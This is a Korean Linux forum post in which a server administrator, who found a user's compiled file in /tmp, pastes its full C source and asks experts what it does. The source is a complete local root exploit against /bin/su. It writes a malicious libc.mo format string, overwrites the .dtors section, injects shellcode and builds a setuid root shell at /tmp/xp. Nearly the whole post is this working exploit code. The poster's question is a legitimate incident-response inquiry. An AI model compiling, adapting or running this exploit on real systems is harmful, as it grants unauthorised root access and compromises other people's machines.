>> Edit article
이름
제목
패스워드
제 서버의 일반 계정 사용자가 /tmp 디렉토리에 su.c란 파일을 올려놓고 su란 파일로 컴파일 해놓은 걸 발견했습니다. 이 su란 파일이 어떤 용도인지궁금해서요.. 아래는 su.c파일의 소스입니다. 시작 ------------------------------------------------------------ /* su.c by xp, modified by logikal@efnet - tested on redhat 5 -> 7 */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <getopt.h> #include <dirent.h> char *shellcode = "x31xc0x83xc0x17x31xdbxcdx80xeb" "x30x5fx31xc9x88x4fx17x88x4fx1a" "x8dx5fx10x89x1fx8dx47x18x89x47" "x04x8dx47x1bx89x47x08x31xc0x89" "x47x0cx8dx0fx8dx57x0cx83xc0x0b" "xcdx80x31xdbx89xd8x40xcdx80xe8" "xcbxffxffxffx41x41x41x41x41x41" "x41x41x41x41x41x41x41x41x41x41" "x2fx62x69x6ex2fx73x68x30x2dx63" "x30" "chown root /tmp/xp;chmod 4777 /tmp/xp"; char *LC_MESSAGES = "/tmp/LC_MESSAGES"; int NOP_LEN = 12000; char *msgfmt = "/usr/bin/msgfmt"; char *objdump = "/usr/bin/objdump"; char *language = NULL; char *make_format_string(unsigned long, int, int); unsigned long get_dtors_addr(); char *make_ret_str(unsigned long, int); void calculate_eat_space(int *, int *); void checkfor(char*); void make_suid_shell(); void search_valid_language(); int main(int argc, char **argv) { char execbuf[1024]; unsigned long dtors_addr = 0xAABBCCDD; unsigned long sh_addr = 0xBFFFFFFF; FILE *f; char *env[3]; char *args[6]; int eat = 0, pad = 0, fd; char *nop_env; int offset = 5000; struct stat st; int pid, c; char randfile[1024]; char *args2[2], opt; printf("su exploit by XP <xp@xtreme-power.com>"); printf("Enjoy!"); while ((opt = getopt(argc, argv, "o:n:m:O:e:l:")) != EOF) switch(opt) { case 'o': offset = atoi(optarg); break; case 'n': NOP_LEN = atoi(optarg); break; case 'm': msgfmt = strdup(optarg); break; case 'O': objdump = strdup(optarg); break; case 'e': sscanf(optarg, "%i:%i", &eat, &pad); break; case 'l': language = (char*) malloc(40 + strlen(optarg)); if (!language) { printf("malloc failedaborting"); exit(0); } memset(language, 0, 40 + strlen(optarg)); sprintf(language, "LANGUAGE=%s/../../../../../../tmp", optarg); break; default: exit(0); } printf("Phase 1. Checking paths and write permisions"); printf(" Checking for %s...", msgfmt); checkfor(msgfmt); printf(" Checking for %s...", objdump); checkfor(objdump); printf(" Checking write permisions on /tmp..."); if (stat("/tmp", &st) < 0) { printf("failed. cannot stat /tmpaborting"); exit(0); } if (!(st.st_mode & S_IWOTH)) { printf("failed. /tmp it's not +waborting"); exit(0); } printf("Ok"); fflush(stdout); printf(" Checking read permisions on /bin/su..."); if (stat("/bin/su", &st) < 0) { printf("failed. cannot stat /bin/suaborting"); exit(0); } if (!(st.st_mode & S_IROTH)) { printf("failed. /bin/su it's not +raborting"); exit(0); } printf("Ok"); fflush(stdout); if (!language) { printf(" Checking for a valid language..."); search_valid_language(); printf("Ok"); } printf(" Checking that %s does not exist...", LC_MESSAGES); if (stat(LC_MESSAGES, &st) >= 0) { printf("failed. %s existsaborting", LC_MESSAGES); exit(0); } printf("Ok"); fflush(stdout); printf("Phase 2. Calculating eat and pad values "); srand(time(NULL)); if (eat || pad) printf("skkiping, values set by user to eat = %i and pad = %i", eat, pad); else { calculate_eat_space(&eat, &pad); printf("done eat = %i and pad = %i", eat, pad); } fflush(stdout); sh_addr -= offset; printf("Phase 3. Creating evil libc.mo and setting enviroment vars"); fflush(stdout); mkdir(LC_MESSAGES, 0755); chdir(LC_MESSAGES); f = fopen("libc.po", "w+"); if (!f) { perror("fopen()"); exit(0); } fprintf(f,"msgid "%%s: invalid option -- %%c ""); fprintf(f,"msgstr "%s "", make_format_string(sh_addr, eat, 0)); fclose(f); sprintf(execbuf, "%s libc.po -o libc.mo; chmod 777 libc.mo", msgfmt); system(execbuf); nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1); if (!nop_env) { printf("malloc failedaborting"); exit(0); } memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1); sprintf(&nop_env[NOP_LEN], "%s", shellcode); env[0] = language; env[1] = NULL; printf("Phase 4. Getting address of .dtors section of /bin/su "); dtors_addr = get_dtors_addr(); printf("done .dtors is at 0x%08x", dtors_addr); fflush(stdout); printf("Phase 5. Compiling suid shell"); fflush(stdout); make_suid_shell(); printf("Phase 6. Executing /bin/su"); fflush(stdout); args[0] = "/bin/su"; args[1] = "-"; args[2] = make_ret_str(dtors_addr, pad); args[3] = "-w"; args[4] = nop_env; args[5] = NULL; sprintf(randfile, "/tmp/tmprand%i", rand()); if (!(pid = fork())) { close(1); close(2); fd = open(randfile, O_CREAT | O_RDWR); dup2(fd, 1); dup2(fd, 2); execve(args[0], args, env); printf("failed to exec /bin/su"); exit(0); } if (pid < 0) { perror("fork()"); exit(0); } waitpid(pid, &c, 0); unlink(randfile); stat("/tmp/xp", &st); if (!(S_ISUID & st.st_mode)) { printf("failed to put mode 4777 to /tmp/xpaborting"); exit(0); } printf(" - Entering rootshell ;-) -"); fflush(stdout); if (!(pid = fork())) { args2[0] = "/tmp/xp"; args2[1] = NULL; execve(args2[0], args2, NULL); printf("failed to exec /tmp/xp"); exit(0); } if (pid < 0) { perror("fork()"); exit(0); } waitpid(pid, &c, 0); printf("Phase 7. Cleaning enviroment"); sprintf(execbuf, "rm -rf %s /tmp/xp", LC_MESSAGES); system(execbuf); } char ret_make_format[0xffff]; char *make_format_string(unsigned long sh_addr, int eat, int test) { char *ret = ret_make_format; int c, waste; int hi, lo; memset(ret, 0, 0xffff); for (c = 0; c < eat; c++) strcat(ret, "%8x"); waste = 8 * eat; hi = (sh_addr & 0xffff0000) >> 16; lo = (sh_addr & 0xffff) - hi; if (!test) { sprintf(&ret[strlen(ret)], "%%0%ux%%hn", hi-waste); sprintf(&ret[strlen(ret)], "%%0%ux%%hn", lo); } else strcat(ret, "%8x *0x%08x* %8x *0x%08x*"); return ret; } unsigned long get_dtors_addr() { char exec_buf[1024]; char file[128]; char buf[1024], sect[1024]; FILE *f; unsigned long ret = 0, tmp1, tmp2, tmp3; sprintf(file, "/tmp/tmprand%i", rand()); sprintf(exec_buf, "%s -h /bin/su > %s", objdump, file); system(exec_buf); f = fopen(file, "r"); if (!f) { perror("fopen()"); exit(0); } while (!feof(f)) { fgets(buf, 1024, f); sscanf(buf, " %i .%s %x %x ", &tmp1, sect, &tmp2, &tmp3); printf("."); fflush(stdout); if (strcmp(sect, "dtors")) continue; ret = tmp3; break; } unlink(file); if (!ret) { printf("error getting the address of .dtorsaborting"); exit(0); } return ret+4; } char ret_make_ret_str[0xffff]; char *make_ret_str(unsigned long dtors_addr, int pad) { char *ret = ret_make_ret_str, *ptr2; unsigned long *ptr = (unsigned long*) ret; int c; memset(ret, 0, 0xffff); *ptr = dtors_addr+2; *(ptr+1) = 0xAABBCCDD; *(ptr+2) = dtors_addr; ptr2 = &ret[strlen(ret)]; while (pad--) *(ptr2++) = 0xaa; return ret; } void calculate_eat_space(int *eatr, int *padr) { int eat = 0, pad = 0; char tmpfile[128]; FILE *f; char execbuf[1024]; int fds[2], tmpfd; unsigned long test_value = 0xAABBCCDD; char *nop_env; char *env[2]; char *args[6]; char buf[1024]; int l, pid; struct stat st; char *readbuf = NULL, *token; unsigned long t1, t2; tmpfile[0] = ' '; nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1); if (!nop_env) { printf("malloc failedaborting"); exit(0); } memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1); sprintf(&nop_env[NOP_LEN], "%s", shellcode); for (eat = 50; eat < 200; eat++) { for (pad = 0; pad < 4; pad++) { if (tmpfile[0]) unlink(tmpfile); chdir("/"); sprintf(execbuf, "rm -rf %s", LC_MESSAGES); system(execbuf); mkdir(LC_MESSAGES, 0755); chdir(LC_MESSAGES); f = fopen("libc.po", "w+"); if (!f) { perror("fopen()"); exit(0); } fprintf(f,"msgid "%%s: invalid option -- %%c ""); fprintf(f,"msgstr "%s "", make_format_string(0xbfffffbb, eat, 1)); fclose(f); sprintf(execbuf, "chmod 777 libc.po; %s libc.po -o libc.mo", msgfmt); system(execbuf); pipe(&fds); if (!(pid = fork())) { close(fds[0]); close(1); close(2); dup2(fds[1], 1); dup2(fds[1], 2); env[0] = language; env[1] = NULL; args[0] = "/bin/su"; args[1] = "-"; args[2] = make_ret_str(test_value, pad); args[3] = "-w"; args[4] = nop_env; args[5] = NULL; execve(args[0], args, env); } if (pid < 0) { perror("fork()"); exit(0); } close(fds[1]); sprintf(tmpfile, "/tmp/tmprand%i", rand()); tmpfd = open(tmpfile, O_RDWR | O_CREAT); if (tmpfd < 0) { perror("open()"); exit(0); } while ((l = read(fds[0], buf, 1024)) > 0) write(tmpfd, buf, l); close(tmpfd); waitpid(pid, &l, 0); stat(tmpfile, &st); chmod(tmpfile, 0777); f = fopen(tmpfile, "r"); if (!f) { perror("fopen()"); exit(0); } if (readbuf) free(readbuf); readbuf = (char*) malloc(st.st_size); if (!readbuf) { printf("malloc failedaborting"); exit(0); } memset(readbuf, 0, st.st_size); fread(readbuf, 1, st.st_size, f); fclose(f); token = strtok(readbuf, "*"); if (!token) continue; token = strtok(NULL, "*"); if (!token) continue; t1 = strtoul(token, NULL, 16); token = strtok(NULL, "*"); if (!token) continue; token = strtok(NULL, "*"); if (!token) continue; t2 = strtoul(token, NULL, 16); if (t2 == test_value) if (t1 == (test_value+2)) { *eatr = eat; *padr = pad; sprintf(execbuf, "rm -rf %s", LC_MESSAGES); system(execbuf); if (tmpfile[0]) unlink(tmpfile); return; } // sleep(10); } printf("."); fflush(stdout); } if (tmpfile[0]) unlink(tmpfile); sprintf(execbuf, "rm -rf %s", LC_MESSAGES); system(execbuf); printf("failed to calculate eat and pad values. glibc patched or invalid language?aborting"); exit(0); } void checkfor(char *p) { int fd; fd = open(p, O_RDONLY); if (fd < 0) { printf("failedaborting"); exit(0); } close(fd); printf("Ok"); fflush(stdout); } void make_suid_shell() { FILE *f; char execbuf[1024]; f = fopen("/tmp/kidd0.c", "w"); if (!f) { printf(" failed to create /tmp/kidd0.caborting"); exit(0); } fprintf(f, "int main() { setuid(0); setgid(0); system("/bin/sh"); }"); fclose(f); sprintf(execbuf, "gcc /tmp/kidd0.c -o /tmp/xp"); system(execbuf); sprintf(execbuf, "rm -f /tmp/kidd0.c"); system(execbuf); f = fopen("/tmp/xp", "r"); if (!f) { printf(" failed to compile /tmp/kidd0.caborting"); exit(0); } fclose(f); printf(" /tmp/xp created Ok"); fflush(stdout); } void search_valid_language() { DIR *locale; struct dirent *dentry; locale = opendir("/usr/share/locale"); if (!locale) { perror("failed to opendir /usr/share/locale"); printf("aborting"); exit(0); } while (dentry = readdir(locale)) { if (!strchr(dentry->d_name, '_')) continue; language = (char*) malloc(40 + strlen(dentry->d_name)); if (!language) { printf("malloc failedaborting"); exit(0); } memset(language, 0, 40 + strlen(dentry->d_name)); sprintf(language, "LANGUAGE=%s/../../../../../../tmp",dentry->d_name); closedir(locale); printf(" [using %s] ", dentry->d_name); return; } printf("failed to find a valid languageaborting"); exit(0); } /* www.hack.co.za [15 January 2001]*/ -------------------------------------------------------------- 끝 이 su.c 파일 좀 분석해주시겠어요? 고수님들..--리눅스 화이팅!
Copyleft
1999-2026 by
JSBoard Open Project
Theme Designed by
IDOO
All right reserved